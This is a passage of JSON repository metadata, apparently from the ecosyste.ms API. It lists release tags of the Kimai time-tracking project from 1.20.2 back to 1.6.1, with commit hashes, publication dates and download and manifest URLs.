ses/tag/1.20.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.20.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20.2/manifests"},{"name":"1.20.1","sha":"d5f8655827af45750e8538f49814a0cb4499e351","kind":"commit","published_at":"2022-05-21T11:13:56.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.20.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.20.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.20.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20.1/manifests"},{"name":"1.20","sha":"3e6100f368cfcd7d25dc3a7c791b860e0751df2a","kind":"commit","published_at":"2022-05-18T23:36:12.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.20","html_url":"https://github.com/kimai/kimai/releases/tag/1.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.20/manifests"},{"name":"1.19.7","sha":"c8098b2e00a56725f25a39f31d710983f649e254","kind":"commit","published_at":"2022-05-07T21:47:32.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.19.7","html_url":"https://github.com/kimai/kimai/releases/tag/1.19.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.19.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.7/manifests"},{"name":"1.19.6","sha":"100f8a5165c7d455b2a4c79a10a2abf185aaa394","kind":"commit","published_at":"2022-04-29T16:14:12.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.19.6","html_url":"https://github.com/kimai/kimai/releases/tag/1.19.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.19.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.6/manifests"},{"name":"1.19.5","sha":"76899d2fdb845cce2e1b32445318c656e8d98b75","kind":"commit","published_at":"2022-04-26T16:48:43.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.19.5","html_url":"https://github.com/kimai/kimai/releases/tag/1.19.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.19.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.5/manifests"},{"name":"1.19.4","sha":"f8bbb3065cd6225cf4659e03575175139a275fa9","kind":"commit","published_at":"2022-04-19T11:12:44.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.19.4","html_url":"https://github.com/kimai/kimai/releases/tag/1.19.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.19.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.4/manifests"},{"name":"1.19.3","sha":"a179719c3eab920f9bdb94014df691b4aae2e927","kind":"commit","published_at":"2022-04-05T16:10:09.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.19.3","html_url":"https://github.com/kimai/kimai/releases/tag/1.19.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.19.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.3/manifests"},{"name":"1.19.2","sha":"f2a8cf0930993e971d5563aca23d16ddb851b54b","kind":"commit","published_at":"2022-04-04T22:59:13.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.19.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.19.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.19.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.2/manifests"},{"name":"1.19.1","sha":"3a7e3b216810ef28b57d900c52ddcd37cc92edd1","kind":"commit","published_at":"2022-03-30T20:23:12.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.19.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19.1/manifests"},{"name":"1.19","sha":"6c1d79fe5b658aaa50736e8ca07bd355c06888a3","kind":"commit","published_at":"2022-03-21T22:42:56.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.19","html_url":"https://github.com/kimai/kimai/releases/tag/1.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.19/manifests"},{"name":"1.18.2","sha":"f7480902b48350392bac74ed34ab74abeaea89f4","kind":"commit","published_at":"2022-03-11T22:50:37.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.18.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.18.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.18.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.18.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.18.2/manifests"},{"name":"1.18.1","sha":"b08c1565525c6aedcd4730b051bdc7e58c41fadc","kind":"commit","published_at":"2022-02-28T15:32:41.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.18.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.18.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.18.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.18.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.18.1/manifests"},{"name":"1.18","sha":"42963ead5c411a79ea830c52bca0926af9056cac","kind":"commit","published_at":"2022-02-27T12:36:52.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.18","html_url":"https://github.com/kimai/kimai/releases/tag/1.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.18/manifests"},{"name":"1.17.1","sha":"7a6fab8624556d7b2c8009f74b0a815fb0810bc1","kind":"commit","published_at":"2022-01-25T13:07:30.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.17.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.17.1/manifests"},{"name":"1.17","sha":"9e320674c174b3f5e6eede6cc7cc95ece1579207","kind":"commit","published_at":"2022-01-23T14:49:38.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.17","html_url":"https://github.com/kimai/kimai/releases/tag/1.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.17/manifests"},{"name":"1.16.10","sha":"9731023014e0b00bfbbc7cfe1bf8069bda670227","kind":"commit","published_at":"2022-01-01T17:12:57.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.10","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.10/manifests"},{"name":"1.16.9","sha":"3621b8c27c57539fbfbf8605ddc111c1385fa576","kind":"commit","published_at":"2021-12-15T16:56:18.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.9","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.9/manifests"},{"name":"1.16.8","sha":"573fa9f7f3c2edae40299365e6912ccf1dc09bd7","kind":"commit","published_at":"2021-12-09T00:36:58.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.8","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.8/manifests"},{"name":"1.16.7","sha":"22ce6b047aa63f0c8a75e68182dbd9dd5dd99eff","kind":"commit","published_at":"2021-12-08T21:15:07.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.7","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.7/manifests"},{"name":"1.16.6","sha":"9491f07ade97a78a724b7e1cac2042c0893f9e86","kind":"commit","published_at":"2021-11-29T14:57:39.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.6","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.6/manifests"},{"name":"1.16.5","sha":"0464054a2b6a877916bad9964470c8718560ad39","kind":"commit","published_at":"2021-11-24T11:55:38.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.5","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.5/manifests"},{"name":"1.16.4","sha":"b0621642771f65ae297942ca490bf5cba6aaf741","kind":"commit","published_at":"2021-11-24T09:30:49.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.4","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.4/manifests"},{"name":"1.16.3","sha":"ff9acab0fc81f0e9490462739ef15fe4ab028ea5","kind":"commit","published_at":"2021-11-21T15:41:03.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.3","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.3/manifests"},{"name":"1.16.2","sha":"b28e9c120c87222e21a238f1b03a609d6a5d506e","kind":"commit","published_at":"2021-11-18T11:33:13.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.2/manifests"},{"name":"1.16.1","sha":"c858edf5c9f7cbf7360c1be51aaeeb51844da1d6","kind":"commit","published_at":"2021-11-16T20:48:50.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16.1/manifests"},{"name":"1.16","sha":"99ebd1d5033b2e340a98344787c70df231defe49","kind":"commit","published_at":"2021-11-16T11:09:41.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.16","html_url":"https://github.com/kimai/kimai/releases/tag/1.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.16/manifests"},{"name":"1.15.6","sha":"64893e0a953ae5fef82976bd7b7d958bf68c0d97","kind":"commit","published_at":"2021-10-17T22:30:35.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.15.6","html_url":"https://github.com/kimai/kimai/releases/tag/1.15.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.15.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.6/manifests"},{"name":"1.15.5","sha":"bbf25823b804e31fe75570e2dcb2bf3d905e31b6","kind":"commit","published_at":"2021-10-13T16:31:28.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.15.5","html_url":"https://github.com/kimai/kimai/releases/tag/1.15.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.15.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.5/manifests"},{"name":"1.15.4","sha":"84e25851d3b06c6b7f5dbb30e33af47ca95ad812","kind":"commit","published_at":"2021-10-07T10:40:06.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.15.4","html_url":"https://github.com/kimai/kimai/releases/tag/1.15.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.15.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.4/manifests"},{"name":"1.15.3","sha":"ccb184b17faa63c91249dbfc2812e195ed19e3c2","kind":"commit","published_at":"2021-10-05T13:30:29.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.15.3","html_url":"https://github.com/kimai/kimai/releases/tag/1.15.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.15.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.3/manifests"},{"name":"1.15.2","sha":"4bb9edb2b52d5f4870407d68d4d0b0108abaea15","kind":"commit","published_at":"2021-09-24T13:16:36.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.15.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.2/manifests"},{"name":"1.15.1","sha":"934a7855b96a9fd8470e3d705c1140d759a75571","kind":"commit","published_at":"2021-09-18T11:15:23.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.15.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15.1/manifests"},{"name":"1.15","sha":"baff2d78d9179d5a1d8a7ec9aef63e80ecd7dfc7","kind":"commit","published_at":"2021-09-16T22:58:25.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.15","html_url":"https://github.com/kimai/kimai/releases/tag/1.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.15/manifests"},{"name":"1.14.3","sha":"df6bd30d0391aaf70ea84f4d5e7f088e2a48b858","kind":"commit","published_at":"2021-05-21T13:27:10.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.14.3","html_url":"https://github.com/kimai/kimai/releases/tag/1.14.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.14.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.14.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.14.3/manifests"},{"name":"1.14.2","sha":"70fd0ae269d3be1ac91798bdbc28ae5d6788e608","kind":"commit","published_at":"2021-05-16T18:36:43.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.14.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.14.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.14.2/manifests"},{"name":"1.14.1","sha":"dad1b8b772947f1596175add1b4f33b791705507","kind":"commit","published_at":"2021-04-29T16:29:03.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.14.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.14.1/manifests"},{"name":"1.14","sha":"bb94b11e3763e4cb162a99e281dee79217a167e1","kind":"commit","published_at":"2021-04-23T15:06:42.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.14","html_url":"https://github.com/kimai/kimai/releases/tag/1.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.14/manifests"},{"name":"1.13","sha":"9eb25c412e5f1db7cadd0260455cc39f1f0390a6","kind":"commit","published_at":"2021-02-06T16:31:14.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.13","html_url":"https://github.com/kimai/kimai/releases/tag/1.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.13/manifests"},{"name":"1.12","sha":"e21fc656e4202626e6341226d33ab9ddcee3d74a","kind":"commit","published_at":"2020-12-13T23:28:30.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.12","html_url":"https://github.com/kimai/kimai/releases/tag/1.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.12/manifests"},{"name":"1.11.1","sha":"4a945253209bf3b1d1257c1f6bf7362a23474844","kind":"commit","published_at":"2020-10-28T19:35:27.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.11.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.11.1/manifests"},{"name":"1.11","sha":"e24c647b1883ca656d232e54e07900cbab0db09e","kind":"commit","published_at":"2020-10-26T11:55:24.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.11","html_url":"https://github.com/kimai/kimai/releases/tag/1.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.11/manifests"},{"name":"1.10.2","sha":"b69ea0648c8c8e241f36851cbafff43e0f349269","kind":"commit","published_at":"2020-08-30T10:19:20.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.10.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.10.2/manifests"},{"name":"1.10.1","sha":"a2585163220802bd256837cf80eecaa6f3183ec0","kind":"commit","published_at":"2020-08-27T09:48:08.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.10.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.10.1/manifests"},{"name":"1.10","sha":"c2c4f087e497a12f8f1dd888e33b851d5d4f4788","kind":"commit","published_at":"2020-08-22T17:15:54.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.10","html_url":"https://github.com/kimai/kimai/releases/tag/1.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.10/manifests"},{"name":"1.9","sha":"46a7b13293e2bc966ee6ce3fdda2b4d7f0196343","kind":"commit","published_at":"2020-04-25T14:34:15.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.9","html_url":"https://github.com/kimai/kimai/releases/tag/1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.9/manifests"},{"name":"1.8","sha":"b8273c4441dd6d6245bd34ef6e2ef637a3e8a370","kind":"commit","published_at":"2020-03-01T13:25:59.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.8","html_url":"https://github.com/kimai/kimai/releases/tag/1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.8/manifests"},{"name":"1.7","sha":"85a35a30632aa0783c5026d830bdf575f88fc5d9","kind":"commit","published_at":"2020-01-19T20:50:29.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.7","html_url":"https://github.com/kimai/kimai/releases/tag/1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.7/manifests"},{"name":"1.6.2","sha":"984c852ab6fb0c83e2059e90a2a53a92babd43ae","kind":"commit","published_at":"2019-12-02T09:57:03.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.6.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.6.2/manifests"},{"name":"1.6.1","sha":"fdf4fdfb6ab7e83a684d1a674669a8a86898a1f9","kind":"commit","published_at":"2019-11-26T18:32:16.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.6.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.6